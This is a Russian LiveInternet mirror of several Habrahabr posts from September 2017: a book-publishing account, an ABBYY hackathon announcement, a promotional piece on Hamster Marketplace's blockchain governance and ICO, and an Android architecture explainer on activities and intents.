-Поиск по дневнику

Поиск сообщений в rss_rss_hh_new

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 51

Habrahabr/New








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/new/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-new-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

Как я написал книгу почти по социнжинирингу

Вторник, 26 Сентября 2017 г. 14:51 + в цитатник
Milfgard сегодня в 14:51 Управление

Как я написал книгу почти по социнжинирингу



    Когда от издательства пришло письмо про готовность, я старался не дышать. Кенгуру валлаби с детёнышем в сумке уже подошла на три метра и шевелила носом. Боялась и что-то подозревала, но морковки ей хотелось больше. Потом было ещё много австралийских приключений вдали от цивилизации, поэтому про поступление книги в магазины я узнал уже из писем читателей. Оказалось, нужно не только владельцам бизнеса. Это удивляло.

    Если коротко – она о том, как рассказывать истории. Точнее даже так: как в работающем бизнесе (или другом проекте) выбрать самые интересные истории, правильно их подать, в полной мере собрать факты и не облажаться потом. Методология построена именно на «не облажаться потом», то есть на проверке фактов и очень спокойной работе без истерических криков. Это продаёт, и этот канал рассказов о своих проектах называется контент-маркетингом (термин появился позже, чем тот же Фёдор из Сыктывкара начал рассказывать про свой книжный бизнес, но раньше, чем он начал печь пиццу). Ещё Евгений Чичваркин с Евросетью живо чувствовал, что нужно что-то такое – но он хотел снимать шоу про работу магазина, чтобы с отжимом поставщиков, собеседованиями, злыми клиентами, инвентаризациями и другими взлётами и падениями.

    Я собрал в кучу всё то, что хотел рассказать про то, как писать посты, собирать информацию для них, как убеждать на сайте и прочее-прочее-прочее. Но всё равно много где – психология влияния.

    О чём книга


    Первая здоровенная часть – о том, как и что рассказывать. Логика выстроения системы такая: если принять за аксиому желаемый результат (о вас знают как о позитивной компании далеко за пределами рынка), то дальше можно начать доказывать всё в обратную сторону – к тому что рассказывать и как рассказывать. И в этой системе доказательств произойдут достаточно неожиданные отсечки. Например, в ответе на комментарий не имеет смысла отвечать тому, кто задал вопрос (точнее, как – не имеет смысла его переубеждать, ответ предназначается для одного него и ещё 5-10 тысяч других людей). В письменной форме никогда не должно быть негатива – его только устно. Потому что можно не так понять, можно перечитать, можно вернуться через год, можно процитировать и т.п. Долгий анализ реакции на разные ответы в обсуждениях породил механики ответов неадекватам и конкурентам (частая задача на просторах Рунета) — там, где не помогает обычная логика, лёгкое изменение формы ответа резко меняет эффект. Помните, как в анекдоте про связистов, мол, вышку построили, теперь голова болит у всей деревни и тараканы мрут? Это ещё фигня, через неделю питание подадим. Плюс форма – почему надо коротко, понятно и предельно конкретно.

    Вторая часть – уже про работу журналиста внутри компании. Я когда-то был редактором астраханской детской газеты, и ещё помню хардкор от опытных журналистов. Нас гоняли за поиск объективной информации и оценку разных точек зрения как не в себе. Мою хрупкую детскую психику раз и навсегда травмировал дядька Кара-Мурза, который читал лекцию про манипуляции сознанием (я передал его эстафету в одном детском робототехническом лагере с похожей лекцией, — вожатые ещё не в полной мере понимали, что при выборе тем «размножение человека» и «социальная инженерия» первое безопаснее). В общем, там практические наработки, что и как делать внутри компании.

    Третья часть – для тех, кто вообще не умеет писать. Там короткие ликбезы. Часть вы могли видеть на Мегамозге (когда он ещё был жив).

    В общем, я надеюсь, что получилась полезная штука для тех, кто не знает, что писать и о чём писать про своё дело. Ну и как это всё правильно начать и продолжить.

    Как шло издание


    У меня снова подло похитили букву «ё» со всей книги. Потом, правда, часть вернули, где по смыслу было не обойтись.

    Корректор зачем-то расставил ударения в словах (но при этом пропустил минимум две опечатки). Меня это тоже немного расстраивает, потому что каждый раз, когда я вижу слово со знаком ударения, мне хочется прочитать его наоборот — мозг решает, что это нестандартная версия, и надо углубиться в распознавание. Вот пример в начале страницы:



    Снова адские переносы, но я уже знаю, что книгу через несколько недель похитят пираты и всё поправят в fb2-формате. Я скачаю и успокоюсь. Вот пример — вроде это «ся» грамотное, но контринтуитивное. Возможно, конечно, я как-то не так читаю:



    Сам рабочий процесс шёл куда быстрее. Когда уже понятно, что и как делать, всё очень просто. Долго бодались с названием. Я всегда смеялся, когда слышал «Евангелист Яндекса» (это Бобук, например), но тут пришлось перестать. Потому что, оказалось, что ничего более сжатого по смыслу нет. Итог вот такой:



    Литредактор у МИФа прекрасный. Эта милая девушка набрасывалась на текст с яростью дракона, присылая кровавое месиво из правок. Ниже одна страница. Так вот, вся книга по всей длине была именно такой:



    Я примерно так же работаю с новыми райтерами, вызывая у них леденящий душу набор впечатлений. Она чистила мой ужасный разговорный язык, а я отстаивал важные конструкции. В этот раз удалось сохранить русские написания многих англицизмов, ура.

    Вот как-то так. Вот тут лежит оглавление и ещё пара страничек.

    Теперь немного статистики. По первой книге «Бизнес как игра» статистика такая: 17 тысяч продано в бумаге, чуть меньше 3 тысяч раз книга куплена в электронном виде и примерно 30 тысяч раз она закачана пиратами, похоже, в основном через сервис Мейл.ру Вконтакте (оценки примерные, про пиратов так вообще пальцем к носу). Критерий успешности — 3 тысячи копий в год на бумаге. Критерий прямо-огонь-бестселлера — около 20 тысяч копий в год. Говорят, с книгами, не привязанными к конкретным историческим моментам типа «Эффективная работа в Windows 98» тиражи с годами обычно растут.

    МИФ, кстати, оказывается, яростно борется с пиратами, и там можно писать целые приключенческие романы про это. Подозреваю, что их контрагент умеет раскладывать сайты-обманки, где в поиске предлагается скачать книгу бесплатно, а вместо файла — короткая демо на 33 страницы или просто реферальная ссылка на Озон или ещё куда. Но это не точно, что они. Надо было ещё что-то подписать про удаление с обменников, но я не стал. Сюрприз в том, что в обмен хотелось обновить файл на Флибусте (там опечатки). Мне кажется, только природная вежливость книжных людей спасла меня от фразы: «Флибуста? Ты что, в конец охренел?».

    Следующий момент. Книга пришла в Озон ниже, чем рекомендованная розничная цена, то есть чем цена у нас, например. Или ещё где в книжном. Там вообще волшебная история — похоже, что они автоматически упали, когда повысилась доля поиска в категории: это отличная механика же. Издатель анонсирует, а весь эффект ловят именно они. У нас, правда, слово «Хабрахабр» при заказе даёт скидку, уравнивающую шансы.

    Ну и ещё от хабралюдей было много вопросов, как показывать книгу издателю. Всё просто: примерное оглавление (потом можно будет менять) и 10-15 страниц (или одну-две главы, если они большие). Уже по этому редактор говорит, ок или нет, и если ок — ждёт финальный текст. Это сильно проще, чем написать цикл постов на Хабр — так что если у вас есть что-то вневременное без привязки к текущему ПО — возможно, стоит немного подготовиться и спросить.
    Original source: habrahabr.ru (comments, light).

    https://habrahabr.ru/post/338374/


    Метки:  

    Хакатон от ABBYY

    Вторник, 26 Сентября 2017 г. 14:48 + в цитатник
    akimovpro сегодня в 14:48 Разработка

    Хакатон от ABBYY

      В прошлый раз мы анонсировали конкурс идей (и он, кстати, продолжается, вы всё ещё можете выиграть iPhone X), а теперь приглашаем вас на хакатон по мобильным сервисам от ABBYY. Пройдёт 7-8 октября в ФизТехПарке. Направления самые разные. Крутое жюри. Призовой фонд 220 000 рублей. Заявки принимаются до 3 октября включительно на mobility.abbyy.com/hack
      А подробности ниже.

      Хакатон mABBYYlity – это 24-часовой конкурс по разработке сервисов для мобильных платформ с применением технологий интеллектуальной обработки информации. Мы хотим дать возможность разработать уникальный продукт вместе с отличными разработчиками и менторами, шанс зарекомендовать себя перед представителями крупных IT-компаний и получить приятные подарки.

      За 24 часа в команде из 2-5 человек или самостоятельно участникам mABBYYlity предстоит придумать или развить бизнес-идею и создать прототип приложения или сервиса для мобильных устройств в сфере обработки текста, изображений, документов и форм. Это могут быть решения в следующих областях:

      • боты, сервисы в социальных сетях и мессенджерах;
      • дополненная реальность в мобильных устройствах;
      • обработка текстов, классификация документов, поиск;
      • распознавание и обработка изображений и видео;
      • улучшение, дополнение, фильтрация фотографий;
      • распознавание и обработка изображений в браузере;
      • распознавание в камерах различных устройств;
      • цифровое предприятие, повышение продуктивности;
      • технологии повышения безопасности;
      • облачные технологии и сервисы;
      • технологии обмена информацией.

      ABBYY предоставит всем участникам доступ к собственным продуктам для разработчиков. Кроме того, команды смогут использовать любые общедоступные инструменты для разработки.
      Лучшие мобильные продукты по итогам хакатона выберет экспертное жюри. В него вошли:

      • директор по продуктам группы компаний ABBYY Андрей Исаев;
      • руководитель департамента мобильных продуктов ABBYY Игорь Акимов;
      • руководитель отдела образовательных проектов ABBYY Андрей Очеретный;
      • руководитель проектного офиса ZeptoLab Пётр Савельев;
      • CEO Maps.Me Евгений Лисовский;
      • менеджер по работе с разработчиками Google Звиад Кардава;
      • исполнительный директор по экосистеме цифровых ресурсов Сбербанка Анатолий Стояновский;
      • руководитель команды машинного обучения Яндекс.Такси Виктор Кантор;
      • руководитель направления развития мобильных сервисов Бинбанк Диджитал Анастасия Бельченко.

      Эксперты оценят результаты команд по следующим критериям: рыночный потенциал идеи и актуальность решаемой проблемы, техническая реализация продукта и прогресс команды за время хакатона, соответствие идеи продукта направлению мероприятия, а также степень новизны и оригинальности идеи.

      Узнать больше и подать заявку можно на сайте mobility.abbyy.com/hack.
      Добавляйтесь в соцсети, там много интересного пишу про новые технологии в рамках направлений конкурса: Telegram, Facebook, VK

      Ну и ещё раз напомню про конкурс идей. Он отдельный от хакатона и продлится до 30 сентября. Результаты конкурса будут объявлены на открытии хакатона mABBYYlity. Победители получат новейшие модели устройств на платформах iOS и Android, в том числе iPhone X. Подать заявку на конкурс идей можно на сайте mobility.abbyy.com/ideas.
      Original source: habrahabr.ru (comments, light).

      https://habrahabr.ru/post/338742/


      Как построить самоуправляемый бизнес: формулируем «законы робототехники» Hamster Marketplace

      Вторник, 26 Сентября 2017 г. 14:43 + в цитатник
      HamsterMrkt сегодня в 14:43 Управление

      Как построить самоуправляемый бизнес: формулируем «законы робототехники» Hamster Marketplace

        Идея децентрализованной самоуправляемой торговой площадки для малых и средних производителей гаджетов и электроники, сформулированная производителем детских планшетов PlayPad Денисом Булавиным, выглядит, как сон уставшего фабриканта, которому джинн пообещал решить все проблемы с бизнесом:

        Контракты с ритейлерами держат в ежовых рукавицах?
        — А давайте сделаем онлайн-маркетплейс с моментальными выплатами
        Устал бороться локтями за внимание покупателя с мейджорами, в месяц продающими в 200 раз больше устройств, чем ты делаешь за год?
        — Тогда сделаем маркетплейс только нишевой электроники и гаджетов
        Невозможно вынырнуть из-под потоков хлама с Али настолько дешёвого, что и не важно, что это хлам?
        — Пусть у нас будут только уникальные товары, а не sort of, зато в 20 раз дешевле
        Комиссия «Амазона» обходится дороже, чем ты можешь себе позволить?
        — Значит, надо делать маркетплейс некоммерческим, чтобы его услуги стоили ровно столько, сколько стоит их оказать
        Но кто им тогда будет управлять?
        — Да мы сами, вендоры, управлять и будем

        Кстати, если вы тоже вендор и узнали свою головную боль в вопросах выше — пожалуйста, ответьте на несколько вопросов в этой гугл-форме.

        К счастью, эта идея ему пришла в голову в 2017 году, а не в 1997 — то есть когда уже не нужно разрабатывать инструмент организации распределённого управления предприятием тысячами незнакомых друг с другом акторов, гарантирующий прозрачность и надёжность этого процесса. Да, блокчейн уже изобретён. Но восхищаться уникальными свойствами сетевой технологии, хорошо справляющейся с передачами небольших пакетов данных — это одно. Заставить многоуровневый глобальный бизнес, сочетающий несколько мощных направлений работы (логистика, поддержка, платежи), оперировать на том же уровне эффективности внутри двухмерной структуры — уже немного другое. Так ли уютно будет жить вместо дома на его чертеже в натуральную величину?

        image
        Айзек Азимов

        И причём здесь Айзек Азимов?


        Ну во-первых, он один из наших самых любимых фантастов.

        А во-вторых, когда мы сели записывать принципы, по которым должна действовать подлинно децентрализованная распределённая система управления бизнесом, то очень быстро стало ясно, что мы пишем свои законы робототехники. Только в нашем случае, хочется верить, есть не просто все шансы дожить до применения теории наяву, а прямо этому поспособствовать.

        Кстати, Айзек был абсолютным детерминистом, если вы помните его цикл «Основание»: вот уж что-то, а идею самоуправляемой без вмешательства извне системы он бы точно одобрил.

        Начинаем копать


        Автоматизация и децентрализация процесса управления бизнесом может внедряться на самых разных уровнях: от поверхностного до глубинного, создающего принципиально новую форму управления компанией.

        Самое простое, что себе можно представить — это управление компанией по принципу акционерного общества, где держатели акций — производители, представленные на маркетплейсе — раз в год выбирают руководство компании, а уже оно управляет ей как обычным бизнесом, за зарплату и бонусы. Блокчейн в данном случае выполняет роль защиты от корпоративных махинаций с голосованием.

        На следующем уровне погружения в архитектуру бизнеса, блокчейн может предоставить надёжную инфраструктуру для отчётности. Согласно новейшим директивам Евросоюза, записи в блокчейне могут приниматься проверяющими органами как валидные официальные документы. Тем более их должно быть достаточно акционерам компании, желающим быть уверенным в достоверности приводимых в отчётности менеджментом данных.

        Если два перечисленных выше пункта в той или иной степени уже не новы, то управление бюджетированием компании, распределением средств непосредственно через блокчейн ещё ни один бизнес в мире не занимался. Блокчейн здесь даже нужен не столько как механизм транзакций (легальный бизнес всё равно ещё не скоро сможет функционировать полностью за счёт криптовалюты), а как механизм передачи и учёта распоряжений в обычный банк. Распоряжения в виде смарт-контрактов позволяют дополнительно автоматизировать, ускорить процесс с одной стороны, и гарантировать новый уровень надёжности — с другой.
        Четвёртый, глубокий, как лимб в фильме «Начало», уровень — это прямое управление через блокчейн. Менеджмент маркетплейса в этом случае сводится к своего рода секретариату/мозговому тресту, сопровождающему процесс оформления предложений. А предложения принимаются, становясь решениями, или не принимаются и остаются в этом лимбе навсегда прямым блокчейн-голосованием. Этот уровень наиболее интересен, поэтому рассмотрим некоторые его принципы подробнее.

        Как принимаются решения


        Решение — это главный строительный материал любого процесса, любого дела, любой системы, любого бизнеса. По сути, любая организационная структура из одних решений и состоит.

        При этом, решение в смысле «распоряжение», «указ», «приказание» — это всего лишь одна из стадий процесса, который на самом деле начинается вовсе не с принятия решения.

        Стадии решения:

        1. Определение проблемы. Решение — это ответ, но ответу нужен вопрос. А вопросу — основания его задать. Решение несуществующей проблемы подобно умножению на ноль. Тем не менее, в любых видах человеческой активности всегда находятся любители и даже профессионалы паразитировать на лакунах коммуникации, создавая видимость бурной деятельности там, где делать вообще нечего. Поставить проблему может любой участник системы децентрализованного управления или даже аутсайдер, если кто-то из участников одобрит входящее сообщение.
        2. Валидация проблемы. В любой системе прямой демократии будет какой-то процент «неуверенных» запросов: «Идя по коридору офиса, я увидел, что стены выкрашены в два разных цвета. Это баг или фича?» Автоматизация процесса управления сужает пространство для подобного «творчества», потому что автомату нужен алгоритм. А алгоритм требует чёткого взгляда на проблему, включающего критерии её наличия и оценку факторов вытекающих рисков. Если этого не сделал тот, кто проблему обозначил, это ложится на плечи сообщества. Разумеется, множеству тысяч участников не нужно всем вместе проврять «ящик жалоб и предложений». Система может рандомно распределять её по некой части — например, 1% участников, которые в кадждом конкретном случае являются валидационной комиссией, решающей, дать или нет ход проблеме. Таким образом, каждый конкретный участник системы видит не более 1% входящих запросов.
        3. Формирование запроса. Хорошо, проблема есть: валидационная комиссия подтвердила, что вам не померещилось. Вы проанализировали её, оценили риски. Самое время определиться, что дальше: что нам с этой проблемой делать и зачем? По идее, пожелание формируется уже на этапе постановки задач. Но это не обязательно — потому что это отдельный этап процесса принятия решения, а значит, в децентрализованной системе, он всё тоже неизбежно проходит через коллегиальный процесс. Проблема попадает уже в общий доступ, когда любой участник механизма может:
          — уточнить принадлежность проблемы (какой департамент её должен решать);
          — предложить желаемый результат уровня: «А давайте перекрасим! А давайте переедем! А давайте потребуем снизить арендную плату!».
          В последнем случае кворум, необходимый для принятия решения, может быть уже значительнее: до 5% участников системы, в зависимости от того, какие департаменты были предложены в качестве ответственных за решение. К примеру, вряд ли для постановки задач отделу контента об исправлении опечатки на странице сайта требует акцепта более, чем 1% участников системы или 2-3 голосов в абсолютном выражении.
        4. Назначенный на эту проблему департамент в большинстве случаев должен иметь право акцепта проблемы — или отправки её на доработку в виде захода на нужный уровень — например, второй, если требуется ре-валидация самого факта наличия проблемы, либо на шаг 3, если требуется доработка постановки цели, добавив свои комментарии.
          — Одним из департаментов децентрализованной системы должен быть департамент арбитража, который, например, решал бы ситуации, когда назначенный департамент бесконечно отфутболивает проблему обратно.
          — Функции арбитража должны включать в себя как возможность принудительного назначения проблемы, так и вынос вопроса доверия команде конкретного департамента на общее голосование.

          При этом, поскольку мы говорим о распределённой децентрализованной системе, арбитраж как механизм не обязан даже иметь постоянный состав. В него могут, скажем, рандомно приглашаться каждый раз наиболее доверенные участники системы, отметившие согласие выполнять свои «функции жюри» время от времени (и даже периодичность, с которой они на это согласны).
        5. Анализ вариантов. Любая проблема имеет как минимум два варианта решения, один из которых — её не решать. А если решать — то количество способов этого может множиться до бесконечности. Когда проблема определена и цель обозначена, назначенный департамент приступает к анализу способов её решения. Скажем, если проблема — «купить компьютер конкретной модели», в обязанности департамента входит выбор подходящих предложений и, вполне возможно, даже процесс торга.
          Многоуровневые проблемы, как, например, найм сотрудника, могут разбиваться департаментов (в данном случае — по кадровым вопросам, либо депараментом, в который нужен сотрудник) на промежуточные этапы с голосованием. Например, сперва определение круга обязанностей. Затем — согласование с коммьюнити условий оплаты.
        6. Принятие решения. Финальный элемент решения проблемы. Стол выбран, сотрудник найден — коммьюнити должно сказать «да» или «нет», «нанять» или «отказать». От промежуточных этапов принятия проблемы финальное решение отличает опция «закрыть задачу». Если голосующий участник системы считает, что решение, за которое он голосует, решает проблему, обозначенную на этапе 1, то он отмечает «закрыть задачу». Если более 50% голосовавших так же, как он, отметили тот же чекбокс, то, в случае принятия их решения, проблема так же автоматически закрывается.

        Звучит сложно? А ведь это только основная ветвь развития ситуации. На самом деле, побочных сценариев может быть множество. Но именно так, если разложить ситуацию на составляющие, выглядит принятие решение человеком в принципе. Просто свои собственные решения люди принимают через централизованный механизм (если, конечно, речь не идёт о герое фильма «Сплит»), поэтому многие этапы принятия решения проходятся сразу и неощутимо.

        В децентрализованном же механизме принятия решений, все проблемы должны разбиваться на максимально простые, дискретные составляющие. Если вопрос разбивается на два: покрасить Кремль в зелёный цвет и сослать в лагеря ещё 10 тысяч человек, то его нужно разбивать на два — иначе невозможно будет понять, как бы ни проголосовало сообщество, за какой вариант на самом деле были отданы голоса.

        Поэтому полная децентрализация подразумевает не референдум раз в четыре, а тысячи и миллионы микроголосований, из которых складывается принятие решений компании.

        Впрочем, это не должно сводить деятельность участников системы к бесконечному потоку микроменеджмента. Есть несколько мер, совокупность которых снижает управленческую нагрузку на каждого участника системы до уровня не просто приемлемого, а желаемого.

        • Разные уровни решения задач требуют разной степени вовлечённости участников. Самые мелкие задачи могут требовать одобрения любых двух участников. Если в системе, скажем, 10 000 участников с правом голоса, то это означает, что каждому её участнику будет попадаться не более, чем одна пятитысячная подобных мелких вопросов.
        • Разные типа решения задач не требуют работы постоянных команд. Различные направления работы — тот же арбитраж — могут закрываться разово отобранной командой.
        • Задачи, которые могут решаться алгоритмами — должны решаться алгоритмами. Принцип дробления любой проблемы на минимально возможные шаги позволяет очень чётко категоризировать любой вопрос. И если он по 100% критериев попадает в тот, для которого существует уже одобренный протокол решения, то он решается системой автоматически, без привлечения участников.
        • Системы рейтингов, оценки и самоопределения участников позволят сделать распределение вопросов на голосование ещё более эффективным.
        • А система определения уровня желаемого участия в управлении гарантирует, что децентрализованный механизм управления никогда не пригласит участника голосовать в принятии решения, которое ему не интересно. Всегда должна быть возможность определения категории или уровня важности задачи, голосование по которым участник не желает пропускать. А абсолютно индифферентные участники могут вообще полностью отключить запросы на участие в голосовании, отдав судьбу проекта на откуп другим участникам.
        • Посадить решать ИИ. Не стоит забывать, что блокчейн — не самое впечатляющее изобретение последнего десятилетия. Самообучающиеся нейронные сети — прорыв куда более масштабный и значимый. Должны ли его игнорировать разработчики системы децентрализации Hamster Marketplace? Конечно, нет. У каждого участника системы управления будет доступ к нейросети, которой он сможет делегировать решение определённых категорий вопросов, настроив, например, принятие решений на основе анализа своих собственных решений или на основе анализа результатов общих голосований.

        Совокупность этих пяти факторов: детализации проблем, продуманности системы сдержек и противовесов, кастомизируемости степени индивидуального участия в решении проблем, бесповоротности записей в блокчейне и использования ИИ — позволяют сформировать механизм самоуправления максимально эффективный, демократичный, ненавязчивый и при этом по-настоящему децентрализованный. В каком-то смысле, речь идёт о создании коллективного разума, где каждый участник системы — это нейрон, а каждый дискретный запрос — это электрический импульс.

        Тестирование, тестирование и ещё раз тестирование


        Продумать принципы работы децентрализованного управляющего механизма, на деле, не так сложно. Сложно — это его настроить, создать идеально уравновешенную со всех сторон систему, у которой не было бы ни одной торчащей нитки — ни одной цепочки действий, которая бы обрывалась незавершённой. Для этого нужно:

        • построить прототип системы;
        • прогнать через миллиарды комбинаций возможных сценариев развития.

        Причём генерировать сценарии проблем должна одна нейросетка, а помогать закрывать обнаруженные дыры и уязвимости — другая. При этом идеально сбалансированная система будет защищена не только от внутренних сбоев, основанных на случайной или намеренной эксплуатации пропущенных уязвимостей — она так же должна до определённой степени быть устойчивой к извне. От ядерной войны или массовых расстрелов, возможно, никакие алгоритмы не защитят, но, как минимум, система должна быть достаточно устойчивой, чтобы сохранять управляемость и независимость в случае локальных отключений света, интернета или попыток враждебного поглощения другими компаниями.

        Потому что в тот момент, когда система децентрализованного управления маркетплейсом Hamster будет полностью настроена, запущена и площадка перейдёт под управление ей, пути назад уже не будет. Фарш невозможно провернуть назад — и запись из блокчейна не сотрёшь просто так.

        Но зато, в случае успеха проекта, его результат — система децентрализованного управления на блокчейне и с элементами ИИ — будет намного больше и значимее, чем сам маркетплейс. Потому что вариантов применения подобному механизму будет едва ли не больше, чем самому блокчейну — от любых объединений людей до управления целыми государствами. Фантасты, футуристы, криптоэнтузиасты и просто анархисты всегда мечтали о работающих механизмах прямой демократии, например. Но подобный никогда не будет создан государством или для государства — у «стационарного бандита» нет никакой мотивации полностью отказываться от власти.

        А вот из бизнеса, тем более торговли — такое решение вполне может придти. И команда Hamster Marketplace имеет все шансы быть среди первых — если вы нас в этом поддержите.

        Краудфандинг для маркетплейса


        • Чтобы профинансировать создание и маркетплейса как работающего бизнеса, решающего проблемы малых и средних производителей нишевых гаджетов и электроники;
        • равно как и обеспечить возможность проработки и тестирования механизмов децентрализованного самоуправления платформы самими производителями представленных на ней товаров,

        Hamster Marketplace запускает краудфандинговую кампанию осенью этого года.

        Распродажа токенов позволит профинансировать как маркетинговые расходы на продвижение маркетплейса и раскрутку продаж на нём, так и все необходимые исследования и разработки для создания автономно и надёжно работающего механизма децентрализованного самоуправления.

        Токены, в свою очередь, будут являться частью архитектуры площадки, которыми можно будет оплачивать использование собственных ресурсов Hamster Marketplace:

        • вендоры смогут использовать их, чтобы оплачивать внутренние инструменты промо и продвижения, экономя фиатные деньги;
        • покупатели будут иметь доступ к ограниченным акциям, предложениям и раннему доступу как к товарам, так и самой платформе перед её выходом в открытую бету.

        Прямо сейчас, впрочем, делать ничего не надо. Просто оставьте вашу почту на сайте ICO Hamster Marketplace, чтобы не пропустить даты регистрации на участие в ICO. Ещё можно подписаться на наш канал в «Телеграме» или зайти к нам в телеграмовскую же группу, чтобы получать информацию из первых рук.

        P.S. Если вы вендор — примите, пожалуйста, участие в нашем небольшом исследовании.

        Original source: habrahabr.ru (comments, light).

        https://habrahabr.ru/post/338724/


        Как работает Android, часть 3

        Вторник, 26 Сентября 2017 г. 14:07 + в цитатник
        bugaevc сегодня в 14:07 Разработка

        Как работает Android, часть 3


          В этой статье я расскажу о компонентах, из которых состоят приложения под Android, и об идеях, которые стоят за этой архитектурой.


          Статьи серии:



          Web vs desktop


          Если задуматься об отличиях современных веб-приложений от «обычных» десктопных приложений, можно — среди недостатков — выделить несколько преимуществ веба:


          • Веб-приложения переносимы между архитектурами и платформами, как и Java.
          • Веб-приложения не требуют установки и всегда обновлены, как и Android Instant Apps.

          Кроме того, веб-приложения существуют в виде страниц, которые могут ссылаться друг на друга — как в рамках одного сайта, так и между сайтами. При этом страница на одном сайте не обязана ограничиваться ссылкой только на главную страницу другого, она может ссылаться на конкретную страницу внутри другого сайта (это называется deep linking). Ссылаясь друг на друга, отдельные сайты объединяются в общую сеть, веб.


          Несколько копий одной страницы — например, несколько профилей в социальной сети — могут быть одновременно открыты в нескольких вкладках браузера. Интерфейс браузера рассчитан на переключение между одновременными сессиями (вкладками), а не между отдельными сайтами — в рамках одной вкладки вы можете перемещаться по ссылкам (и вперёд-назад по истории) между разными страницами разных сайтов.


          Всё это противопоставляется «десктопу», где каждое приложение работает отдельно и часто независимо от других — и в этом плане то, как устроены приложения в Android, гораздо ближе к вебу, чем к «традиционным» приложениям.


          Activities & intents


          Основной вид компонентов приложений под Android — это activity. Activity — это один «экран» приложения. Activity можно сравнить со страницей в вебе и с окном приложения в традиционном оконном интерфейсе.


          Про окна

          Собственно окна в Android тоже есть на более низком уровне — уровне window manager. Каждой activity обычно соответствует своё окно. Чаще всего окна activity развёрнуты на весь доступный экран, но:


          • Во-первых, Android поддерживает мультиоконный режим — split-screen, picture-in-picture и даже freeform.
          • Во-вторых, Android поддерживает подключение нескольких дисплеев.
          • В-третьих, activity может намеренно занимать небольшую часть экрана (Theme_Dialog).



          Например, в приложении для электронной почты (email client) могут быть такие activity, как Inbox Activity (список входящих писем), Email Activity (чтение одного письма), Compose Activity (написание письма) и Settings Activity (настройки).


          Как и страницы одного сайта, activity одного приложения могут запускаться как друг из друга, так и независимо друг от друга (другими приложениями). Если в вебе на другую страницу обращаются по URL (ссылке), то в Android activity запускаются через intent’ы.


          Intent — это сообщение, которое указывает системе, что нужно «сделать» (например, открыть данный URL, написать письмо на данный адрес, позвонить на данный номер телефона или сделать фотографию).


          Приложение может создать такой intent и передать его системе, а система решает, какая activity (или другой компонент) будет его выполнять (handle). Эта activity запускается системой (в существующем процессе приложения или в новом, если он ещё не запущен), ей передаётся этот intent, и она его выполняет.


          Стандартный способ создавать intent’ы — через соответствующий класс в Android Framework. Для работы с activity и intent’ами из командной строки в Android есть команда am — обёртка над стандартным классом Activity Manager:


          # передаём -a ACTION -d DATA
          # открыть сайт
          $ am start -a android.intent.action.VIEW -d http://example.com
          # позвонить по телефону
          $ am start -a android.intent.action.CALL -d tel:+7-916-271-05-83

          Intent’ы могут быть явными (explicit) и неявными (implicit). Явный intent указывает идентификатор конкретного компонента, который нужно запустить — чаще всего это используется, чтобы запустить из одной activity другую внутри одного приложения (при этом intent может даже не содержать другой полезной информации).


          Неявный intent обязательно должен указывать действие, которое нужно сделать. Каждая activity (и другие компоненты) указывают в манифесте приложения, какие intent’ы они готовы обрабатывать (например, ACTION_VIEW для ссылок с доменом https://example.com). Система выбирает подходящий компонент среди установленных и запускает его.


          Если в системе есть несколько activity, которые готовы обработать intent, пользователю будет предоставлен выбор. Обычно это случается, когда установлено несколько аналогичных приложений, например несколько браузеров или фоторедакторов. Кроме того, приложение может явно попросить систему показать диалог выбора (на самом деле при этом переданный intent оборачивается в новый intent с ACTION_CHOOSER) — это обычно используется для создания красивого диалога Share:



          Кроме того, activity может вернуть результат в вызвавшую её activity. Например, activity в приложении-камере, которая умеет обрабатывать intent «сделать фотографию» (ACTION_IMAGE_CAPTURE) возвращает сделанную фотографию в ту activity, которая создала этот intent.


          При этом приложению, содержащему исходную activity, не нужно разрешение на доступ к камере.


          Таким образом, правильный способ приложению под Android сделать фотографию — это не потребовать разрешения на доступ к камере и использовать Camera API, а создать нужный intent и позволить системному приложению-камере сделать фото. Аналогично, вместо использования разрешения READ_EXTERNAL_STORAGE и прямого доступа к файлам пользователя стоит дать пользователю возможность выбрать файл в системном файловом менеджере (тогда исходному приложению будет разрешён доступ именно к этому файлу).


          A unique aspect of the Android system design is that any app can start another app’s component. For example, if you want the user to capture a photo with the device camera, there’s probably another app that does that and your app can use it instead of developing an activity to capture a photo yourself. You don’t need to incorporate or even link to the code from the camera app. Instead, you can simply start the activity in the camera app that captures a photo. When complete, the photo is even returned to your app so you can use it. To the user, it seems as if the camera is actually a part of your app.

          При этом «системное» приложение — не обязательно то, которое было предустановлено производителем (или автором сборки Android). Все установленные приложения, которые умеют обрабатывать данный intent, в этом смысле равны между собой. Пользователь может выбрать любое из них в качестве приложения по умолчанию для таких intent’ов, а может выбирать нужное каждый раз. Выбранное приложение становится «системным» в том смысле, что пользователь выбрал, чтобы именно оно выполняло все задачи (то есть intent’ы) такого типа, возникающие в системе.


          Само разрешение на доступ к камере нужно только тем приложениям, которые реализуют свой интерфейс камеры — например, собственно приложения-камеры, приложения для видеозвонков или дополненной реальности. Наоборот, обыкновенному мессенджеру доступ к камере «чтобы можно было фото отправлять» не нужен, как не нужен и доступ к совершению звонков приложению крупного банка.


          Про лончер

          Этой логике подчиняются даже такие «части системы», как, например, домашний экран (лончер, launcher). Лончер — это специальное приложение со своими activity (которые используют специальные флаги вроде excludeFromRecents и launchMode="singleTask").


          Нажатие кнопки «домой» создаёт intent категории HOME, который дальше проходит через обычный механизм обработки intent’ов — в том числе, если в системе установлено несколько лончеров и ни один не выбран в качестве лончера по умолчанию, система отобразит диалог выбора.


          «Запуск» приложения из лончера тоже происходит через intent. Лончер создаёт явный intent категории LAUNCHER, который «обрабатывается» запуском основной activity приложения.


          Приложение может иметь несколько activity, которые поддерживают такой intent, и отображаться в лончере несколько раз (при этом может понадобиться указать им разную taskAffinity). Или не иметь ни одной и не отображаться в лончере вообще (но по-прежнему отображаться в полном списке установленных приложений в настройках). «Обычные» приложения так делают довольно редко; самый известный пример такого поведения — Google Play Services.


